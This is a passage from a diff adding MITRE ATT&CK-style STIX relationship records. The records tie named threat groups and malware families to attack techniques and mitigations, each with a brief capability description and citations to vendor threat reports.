"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e20b57e5-c010-4b9e-a04e-660daa8b5c87", + "external_references": [ + { + "source_name": "Symantec Sowbug Nov 2017", + "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", + "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + } + ], + "modified": "2019-03-25T16:57:02.858Z", + "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) uses HTTP for communication to the control servers.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c233f12f-cfa1-4f2a-ba56-ca1980806f4e", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:23:51.973Z", + "type": "relationship", + "id": "relationship--4d6def4b-69cf-4dca-848b-53de73536ad6", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.024Z", + "source_ref": "course-of-action--dd9a85ad-6a92-4986-a215-b01d0ce7b987", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Felismus](https://attack.mitre.org/software/S0171) uses HTTP for C2.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4887f5b0-45ed-4848-a984-4e72263e33d8", + "external_references": [ + { + "source_name": "Forcepoint Felismus Mar 2017", + "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.", + "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-27T00:09:37.607Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.040Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--24013fde-5ce7-4995-9d9f-d2ced31b9d9a", + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + }, + { + "source_name": "Kaspersky Sofacy", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + }, + { + "source_name": "Securelist Sofacy Feb 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/" + } + ], + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to side load DLLs with a valid version of Chrome with one of their tools.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--99c0cda4-91b1-4845-9891-9a4b89c128f9", + "external_references": [ + { + "source_name": "FireEye Clandestine Fox", + "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html" + }, + { + "source_name": "FireEye Clandestine Fox Part 2", + "description": "Scott, M.. (2014, June 10). Clandestine Fox, Part Deux. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html" + } + ], + "modified": "2019-04-29T18:01:20.627Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [Axiom](https://attack.mitre.org/groups/G0001) group is known to have used RDP during operations.", + "type": "relationship", + "created": "2017-05-31T21:33:27.031Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--70f3eaca-179d-4412-ad32-c4e3cf60c27c", + "external_references": [ + { + "source_name": "Novetta-Axiom", + "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", + "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf" + } + ], + "modified": "2019-03-22T19:55:13.749Z", + "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973", + "relationship_type": "uses", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) added newly created accounts to the administrators group to maintain elevated access.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--41590e53-8d15-4924-bfd7-850f7b3f23ea", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "modified": "2019-03-22T20:13:49.664Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to brute force password hashes to be able to leverage plain text credentials.", + "type": "relationship", + "created": "2018-01-16T21:43:14.128Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1334cbe3-8613-4279-9a1f-58781c2656a4", + "external_references": [ + { + "source_name": "APT3 Adversary Emulation Plan", + "description": "Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.", + "url": "https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf" + } + ], + "modified": "2019-04-29T18:01:20.626Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has attempted to get users to open malicious files by sending spearphishing emails with attachments to victims.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3350f278-af37-4183-b1be-8d79abce27ac", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2019-05-10T12:14:32.229Z", + "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "relationship_type": "uses", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some [Lazarus Group](https://attack.mitre.org/groups/G0032) malware uses a list of ordered port numbers to choose a port for C2 traffic, which includes uncommonly used ports such as 995, 1816, 465, 1521, 3306, and many others.", + "type": "relationship", + "created": "2017-05-31T21:33:27.069Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7aa43cd7-ada3-49c9-8dc7-9492fa22c7d8", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster RATs", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" + } + ], + "modified": "2019-04-29T18:13:09.090Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) uses a dropper called MaoCheng that harvests a stolen digital signature from Adobe Systems.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b03f71ab-d254-49b7-954d-46c76befb525", + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "modified": "2019-03-25T12:58:44.284Z", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "relationship_type": "uses", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-08T14:33:16.442Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--baa9bb45-b4d2-4eea-803f-d2d1126330d4", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "malware--211cfe9f-2676-4e1c-a5f5-2c8091da2a68" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T18:13:22.089Z", + "type": "relationship", + "id": "relationship--647032ac-0432-4785-9d50-06b9970bcbcb", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.027Z", + "source_ref": "course-of-action--f3d0c735-330f-43c2-8e8e-51bcfa51e8c3", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[AutoIt backdoor](https://attack.mitre.org/software/S0129) is capable of identifying documents on the victim with the following extensions: .doc; .pdf, .csv, .ppt, .docx, .pst, .xls, .xlsx, .pptx, and .jpeg.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3de749e5-353a-4bdc-8951-9e0fa387bc70", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f5352566-1a64-49ac-8f7f-97e1d1a03300", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T12:40:52.013Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.036Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4a687e50-e6b7-41df-93b1-6fed7db10f60", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "relationship_type": "uses", + "target_ref": "malware--1d808f62-cf63-4063-9727-ff6132514c22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can track key presses with a keylogger module.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--be20faa9-64bf-4a65-86c2-dc12f5695d22", + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "modified": "2019-06-06T19:04:39.507Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-27T00:09:37.658Z", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--63841959-afe2-4cb0-a93e-d407eb1b8d66", + "external_references": [ + { + "source_name": "XAgentOSX 2017", + "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" + }, + { + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + } + ], + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "malware--f108215f-3487-489d-be8b-80e346d32518" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pisloader](https://attack.mitre.org/software/S0124) obfuscates files by splitting strings into smaller sub-strings and including \"garbage\" strings that are never used. The malware also uses return-oriented programming (ROP) technique and single-byte XOR to obfuscate data.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cbc4c186-028e-4a24-93ff-5f2bb7edd98a", + "external_references": [ + { + "source_name": "Palo Alto DNS Requests", + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) collects local files and information from the victim\u2019s local machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7ecd1b78-a3f1-4997-be47-68377eb59689", + "external_references": [ + { + "source_name": "S2 Grupo TrickBot June 2017", + "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.", + "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf" + } + ], + "modified": "2019-06-24T19:15:06.701Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) can launch an interface where it can execute several commands on the victim\u2019s PC.", + "type": "relationship", + "created": "2019-01-29T17:59:44.427Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cbbfb291-9c39-4fab-a2ac-c1f076c7c367", + "external_references": [ + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "modified": "2019-04-16T20:55:20.212Z", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DOGCALL](https://attack.mitre.org/software/S0213) can capture microphone data from the victim's machine.", + "type": "relationship", + "created": "2019-01-29T18:23:46.181Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cdc0bf25-e132-4214-b3e0-c784da6cfbeb", + "external_references": [ + { + "source_name": "Unit 42 Nokki Oct 2018", + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ], + "modified": "2019-01-29T18:23:46.181Z", + "source_ref": "malware--0852567d-7958-4f4b-8947-4f840ec8d57d", + "relationship_type": "uses", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remcos](https://attack.mitre.org/software/S0332) steals and modifies data from the clipboard.", + "type": "relationship", + "created": "2019-01-29T18:55:20.800Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--441ef1f7-79b7-476a-8c1e-943439e65dd1", + "external_references": [ + { + "source_name": "Riskiq Remcos Jan 2018", + "description": "Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018.", + "url": "https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/" + } + ], + "modified": "2019-04-19T14:39:53.074Z", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "relationship_type": "uses", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) can open an active screen of the victim\u2019s machine and take control of the mouse and keyboard.", + "type": "relationship", + "created": "2019-01-29T19:18:28.643Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a1dfbc65-48dc-4218-a10c-906fbe33b6db", + "external_references": [ + { + "source_name": "Malwarebytes DarkComet March 2018", + "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/" + } + ], + "modified": "2019-06-04T19:40:43.670Z", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "relationship_type": "uses", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbon](https://attack.mitre.org/software/S0335) has a command to inject code into a process.", + "type": "relationship", + "created": "2019-01-29T19:36:02.845Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b9b2ddad-acb6-4e97-966c-ff18fd36cea3", + "external_references": [ + { + "source_name": "ESET Carbon Mar 2017", + "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", + "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + } + ], + "modified": "2019-04-12T14:43:22.688Z", + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NanoCore](https://attack.mitre.org/software/S0336)\u2019s plugins were obfuscated with Eazfuscater.NET 3.3.", + "type": "relationship", + "created": "2019-01-29T20:05:36.450Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2f884873-308c-4bee-94bd-90bb2267fea7", + "external_references": [ + { + "source_name": "PaloAlto NanoCore Feb 2016", + "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/" + } + ], + "modified": "2019-04-17T20:47:23.977Z", + "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has leveraged the BITSadmin command-line tool to create a job and launch a malicious process.", + "type": "relationship", + "created": "2019-01-29T20:17:49.356Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d0b1714b-a9d5-4450-9200-337d164dc897", + "external_references": [ + { + "source_name": "TrendMicro Tropic Trooper Mar 2018", + "description": "Horejsi, J., et al. (2018, March 14). Tropic Trooper\u2019s New Strategy. Retrieved November 9, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/" + } + ], + "modified": "2019-06-30T22:44:28.258Z", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "relationship_type": "uses", + "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BadPatch](https://attack.mitre.org/software/S0337) collects files from the local system that have the following extensions, then prepares them for exfiltration: .xls, .xlsx, .pdf, .mdb, .rar, .zip, .doc, .docx.", + "type": "relationship", + "created": "2019-01-29T21:33:34.658Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--dc2b58dd-1052-4860-8e14-5650ab8eecfd", + "external_references": [ + { + "source_name": "Unit 42 BadPatch Oct 2017", + "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/" + } + ], + "modified": "2019-04-23T21:17:49.928Z", + "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) has keylogging capabilities.", + "type": "relationship", + "created": "2019-01-29T21:47:53.736Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--15d01a81-5d77-4373-81d0-8962e708ad20", + "external_references": [ + { + "source_name": "Radware Micropsia July 2018", + "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.", + "url": "https://blog.radware.com/security/2018/07/micropsia-malware/" + } + ], + "modified": "2019-04-17T22:05:05.919Z", + "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Xbash](https://attack.mitre.org/software/S0341) can obtain a list of weak passwords from the C2 server to use for brute forcing as well as attempt to brute force services with open ports.", + "type": "relationship", + "created": "2019-01-30T13:28:47.834Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e9de3c2d-1b2e-4c35-a406-475f5f5fd4d5", + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + }, + { + "source_name": "Trend Micro Xbash Sept 2018", + "description": "Trend Micro. (2018, September 19). New Multi-Platform Xbash Packs Obfuscation, Ransomware, Coinminer, Worm and Botnet. Retrieved June 4, 2019.", + "url": "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/new-multi-platform-xbash-packs-obfuscation-ransomware-coinminer-worm-and-botnet" + } + ], + "modified": "2019-06-28T15:15:54.470Z", + "source_ref": 